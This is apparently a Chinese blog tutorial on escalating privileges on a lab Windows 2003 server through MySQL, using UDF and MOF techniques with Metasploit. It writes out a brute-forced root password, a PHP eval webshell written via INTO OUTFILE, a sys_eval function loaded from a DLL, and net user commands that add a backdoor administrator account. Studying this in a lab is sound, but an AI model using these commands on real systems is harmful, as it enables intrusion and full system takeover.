当前位置: 首页 > news >正文

Windows系统提权

一、环境准备

1、扫描IP

nmap -sn 192.168.112.0/24  ->192.168.112.194

2、扫描操作系统

nmap -O 192.168.112.194

从扫描结果可以看出,目标主机开放了80、445、3306和3389等端口,也就意味着有很多漏洞可以利用,但是本次实验,我们只拿MySQL开刀,不去利用其他漏洞,完成MySQL提权后,创建一个新的账号用于登录3389远程桌面,如登录成功,则实验成功

80  Web服务

445  SMB协议

3306  MySQL,尝试爆破

3389  远程桌面,利用超级管理员权限去新增一个管理员

我们先去爆破MySQL数据库的密码,账户随便写,只导入密码进行爆破的速度比两个都导入快,发现爆破成功(这只是靶场环境,仅作为演示)

二、UDF提权

1、信息获取

UDF即:user defined function,即用户自定义函数。本提权仅适用于MySQL 5.5.9以下版本,超出该版本无法利用成功。所以我们在Windows 2003的靶机上进行演示,Linux如果有对应版本也是可以的。

先通过爆破获取MySQL的账号,得到账密:root/qazwsx123,然后使用Navicat登录到MySQL,确认以下信息:

show variables like '%priv%'  #确认MySQL的写文件的权限,拥有任意路径的写权限
show variables like '%plugin%'  #确认MySQL的插件目录,并由此推断HTTP的主目录
select * from mysql.func where name = "sys_exec";  确认系统中并不存在sys_exec的函数,需要使用UDF自行定义

先用navicat连接到目标服务器,使用MySQL进行连接,连接成功

2、进入MSF进行漏洞利用

然后show options,设置一些必须要用到的参数,password、rhosts、rport、username

设置好之后,然后run

发现出现两个错误

上传动态链接库文件到C:/PHPnow/MySQL-5.1.50/lib/plugin这个目录下

告诉我们不能创建或写入到这个目录下(我们不知道是啥原因,是因为权限不够还是其他的原因,我们也不知道),接下来就不能打开动态链接库

检查sys_exec函数,发现不能用,我们之前通过select * from mysql.func where name = "sys_exec";这个语句去确定系统中存不存在这个函数,回显的内容告诉我们不存在

既然我们有写文件的权限,我们可以写入一句话木马,通过蚁剑进行连接,看看到底是什么原因导致的

select "<?php eval($_POST['code']); ?>" into outfile "C:/PHPnow/htdocs/shell.php"

使用蚁剑进行连接,发现那个目录下没有lib目录,所以这就是出现错误的原因,不是因为权限,而是因为没有这个目录,所以我们无法写入,接下来我们手动添加目录即可

 然后我们继续run一下,发现成功了

接着我们去查看一下这个函数是否存在,发现已经存在了

 这里面的文件必须和我们的函数对应上

我们可以使用sys_exec来执行一些命令 ,sys_exec指令无法返回结果,只能给我们返回状态码,0代表成功,非0代表失败

 我们可以在mysql数据库中的func表里面看到对应的函数定义,运行以下脚本创建用户自定义1函数

create function sys_eval returns string soname "pVnzEjux.dll";

如果能够执行成功,则利用MySQL的sys_eval函数创建新的用户和组,并完成远程登录3389登录

 这样我们就可以执行eval函数了

 使用命令woami看看这台主机的用户,是system权限的账号,然后我们就可以为所欲为了

select sys_eval("net user qiang 123456 /add");
select sys_eval("net localgroup /add administrators qiang");

执行这两条命令,执行完之后

我们再尝试去远程登录一下

发现登录成功,并且是超级管理员的角色

 

 三、MOF提权

MOF指的是托管对象格式(Managed Object Format),是一种文件类型,它(nullevt.mof)在C:\WINDOWS\system32\webem\mof\路径下,将会每隔一段时间以System权限执行一次,我们可以通过root权限下的mysql将该文件写入到路径下,以达到提权的效果。提权条件:

(1)mysql允许远程连接

(2)secure_file_priv的值为空

使用漏洞模块:exploit/windows/mysql/mysql_mof,从模块路径可以看出,该Payload仅针对Windows操作系统

 使用命令getid得知是系统用户,超级管理员权限

 

相关文章:

  • 《Git:基本命令使用》
  • 【python】12. File
  • QT多线程实战经验
  • 深入C++:operator new与operator delete重载探秘
  • 常用数据库远程连接工具全解析:从入门到高效管理
  • MySQL Router被HTTP流量击穿
  • 读《浪潮之巅》:探寻科技产业的兴衰密码
  • 为AI聊天工具添加一个知识系统 之147 设计重审 之12 聚合AI
  • Vue.js 模板语法全解析:从基础到实战应用
  • 机场上云-无人机状态上报流程
  • 【标准协议】RTCA标准协议解读
  • linux安装nginx详细教程
  • Java 锁机制全面解析
  • 【Linux】Ubuntu 24.04 LTS 安装 OpenJDK 8
  • 单表达式倒计时工具:datetime的极度优雅(智普清言)
  • 扩散模型算法实战——可控图像编辑
  • uniapp小程序,输入框限制输入(正整数、小数后几位)
  • `sscanf` 和 `scanf` 的区别
  • 磁盘清理工具-TreeSize Free介绍
  • 使用 QR-Code-Styling 在 Vue 3 中生成二维码
  • 体坛联播|曼联一只脚迈进欧联杯决赛,赵心童4比4奥沙利文
  • 4月一二线城市新房价格环比上涨,沪杭涨幅居百城前列
  • 解放日报:抢占科技制高点,赋能新质生产力
  • 网警查处编造传播“登顶泰山最高可得3万奖金”网络谣言者
  • 五一小长假,带着小狗去上海音乐厅
  • 美国参议院投票通过戴维·珀杜出任美国驻华大使